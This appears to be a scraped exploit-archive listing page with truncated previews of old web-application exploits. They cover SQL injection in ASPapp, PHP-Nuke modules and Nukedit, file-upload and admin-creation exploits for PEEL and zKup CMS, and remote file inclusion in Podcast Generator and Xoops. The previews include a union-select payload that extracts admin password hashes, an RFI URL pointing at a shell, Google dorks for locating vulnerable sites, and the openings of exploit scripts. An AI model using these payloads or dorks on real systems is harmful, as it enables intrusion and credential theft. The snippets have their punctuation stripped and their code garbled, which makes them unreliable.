ASPapp (links.asp CatId) Remote SQL Injection Vulnerability

No description provided by source. ....... ...... ..... .....CoRPITX ..... ..... ...... ....... -----------------Turkey-------------------------------------- --------- www.Hayalet-hack.com------------------------------- ----------www.xcorpitx-hack.com------------------------------ Iatek | ASPapp...

PEEL CMS 3.x - Admin Hash Extraction Arbitrary File Upload

PEEL CMS 3.x - Admin Hash Extraction Arbitrary File Upload !/usr/bin/php URL: http://realn.free.fr/ Date: 03-18-08 Targets: PEEL PREMIUM PEEL POWERSELL PEEL INTEGRALE PEEL PROFESSIONNELLE This exploit will use multiple vulns of multiple versions of PEEL to try to spawn a Remote Upload File. Speci...

ASPapp (links.asp CatId) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications =========================================================== ASPapp links.asp CatId Remote SQL Injection Vulnerability =========================================================== ....... ...... ..... .....CoRPITX...

CVE-2007-6709

CVE-2007-6709 affects the Cisco Linksys WAG54GS Wireless-G ADSL Gateway (firmware 1.01.03 and earlier). The root cause is a default password policy where the admin account uses the password “admin,” enabling remote attackers to gain access. Public details in the provided documents confirm the vul...

PHP-Nuke Module ZClassifieds [cat] SQL Injection

----- RBT-4 crew Lovebug Italy -------- Author : Lovebug Script : PHP-Nuke Module ZClassifieds cat SQL Injection Bug : modules.php?name=ZClassifieds&cat= S Q L Exploit : -9999999//union//select//pwd,aid//from//nukeauthors/where20admin1/ Original Advisory:...

zkup-admin.txt

!/usr/bin/php Date: 03-08-2008 Conditions: None. This exploit add a new zKup admin. / print "\n"; print " zKup CMS v2.0 \n\n"; if$argc \n eg: php zkup2adminexploit.php http://127.0.0.1/votresite/ real p4ssw0rd";exit-1; $url = $argv1; $log = $argv2; $pas = $argv3; $postit =...

zKup CMS 2.0 2.3 - Arbitrary File Upload

zKup CMS 2.0 2.3 - Arbitrary File Upload !/usr/bin/php Date: 03-08-2008 Conditions: PHP Version, magicquotesgpc=Off This exploit spawn a php uploader in your victim's server. Okay, you may need explanations: First, we can use administration without being admin see ./admin/configuration/modifier.p...

Cross site scripting

Cross-site scripting XSS vulnerability in admin/users/self.php in XRMS CRM allows remote attackers to inject arbitrary web script or HTML via the msg parameter. NOTE: some of these details are obtained from third party information...

podcast-rfidisclose.txt

Podcast Generator = 1.0 BETA 2 RFI / File Disclosure Remote Vulnerabilities http://sourceforge.net/project/showfiles.php?groupid=163847 POC : I- Remote File Inclusion Vulnerabilities /podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=shell...

Podcast Generator 1.0 Beta 2 - Remote File Inclusion / File Disclosure

Podcast Generator = 1.0 BETA 2 RFI / File Disclosure Remote Vulnerabilities http://sourceforge.net/project/showfiles.php?groupid=163847 POC : I- Remote File Inclusion Vulnerabilities /podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=shell...

nukeditadmin-sql.txt

!/usr/bin/perl Title: Nukedit 4.9.x Create Admin Exploit Credit: r3dm0v3 http://r3dm0v3.persianblog.ir r3dm0v34tyahoodotcom Tehran - Iran Download: http://www.nukedit.com/content/Download.asp Vulnerables: 4.9.x, prior versions maybe affected. Remote: Yes Dork: "Powered by Nukedit" Fix: Not...

nukedit-sql.txt

Title: Nukedit 4.9.x Login Bypass SQL injection Discovered By: r3dm0v3 http://r3dm0v3.persianblog.ir r3dm0v3 4t yahoo dot com Tehran - Iran Download: http://www.nukedit.com/content/Download.asp Vulnerables: 4.9.x, prior versions maybe vulnerable Remote: Yes Dork: "Powered by Nukedit"...

PORAR WebBoard - 'question.asp' SQL Injection

CoRPITX Turkey www.Hayalet-hack.com www.zone-turk.net/ PORAR WEBBOARD SQL Injection Vulnerability AUTHOR : xcorpitx HOME : www.Hayalet-hack.com / www.zone-turk.net email : [email protected] This SQL give Admin name and Admin password Bu sorgu direk admin ismi ve sisresini verecektir DorK : ''...

PHP-Nuke Docum模块'artid' SQL注入漏洞

BUGTRAQ ID: 27912 CNCAN ID:CNCAN-2008022208 PHP-Nuke Docum模块是一款基于PHP的WEB应用程序。 PHP-Nuke Docum模块不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。 问题是由于脚本对用户提交的'artid'参数处理缺少充分过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。 PHP-Nuke Module Docum 目前没有详细解决方案提供： http://www.phpnuke.org/...

PHP-Nuke Module Classifieds SQL Injection(Details)

PHP-Nuke Module Classifieds SQL InjectionDetails AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAL : [email protected] DORK 1 : allinurl:"modules.php?name=Classifieds"Details DORK 2 : allinurl: EXPLOIT :...

Xoops-2.0.16 Remote File Inclusion

In the Script Xoops-2.0.16 are Remote File Inclusion Bugs +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Script : xoops-2.0.16-Kararli Discovered By : F10 Contact : [email protected] WebSite : http://by-f10.com Greetz : byemR3 , H0tturk , TaRanTuLa , gsy...

PHP-Nuke Module Dossiers Injection(did)

PHP-Nuke Module Dossiers Injectiondid AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAL : [email protected] DORK 1 :allinurl:"modules.php?name=Dossiers"did DORK 2 : allinurl: EXPLOIT : admin...

PunBB <= 1.2.16 Blind Password Recovery Exploit

No description provided by source. ?php / Original : http://sektioneins.de/advisories/SE-2008-01.txt Thanks to Stefan Esser, here's the exploit. Team : EpiBite firefox, petit-poney, thot Nous tenons a remercier nos mamans et papas respectifs. Let's get a fu coffee ! / // conf define'URL',...

PHP-Nuke Module NukeC 2.1 (id_catg) SQL Injection Vulnerability

Exploit for unknown platform in category web applications =============================================================== PHP-Nuke Module NukeC 2.1 idcatg SQL Injection Vulnerability ===============================================================...

runcmsmyannonces-sql.txt

runcms MyAnnonces SQL Injectioncid AUTHOR : S@BUN HOME 1 : http://www.milw0rm.com/author/1334 MAİL : [email protected] DORK 1 : allinurl: "modules MyAnnonces index php pa view" EXAMPLE XXXXMyAnnonces/index.php?pa=view&cid=EXPLOiT EXPLOIT : for admin =...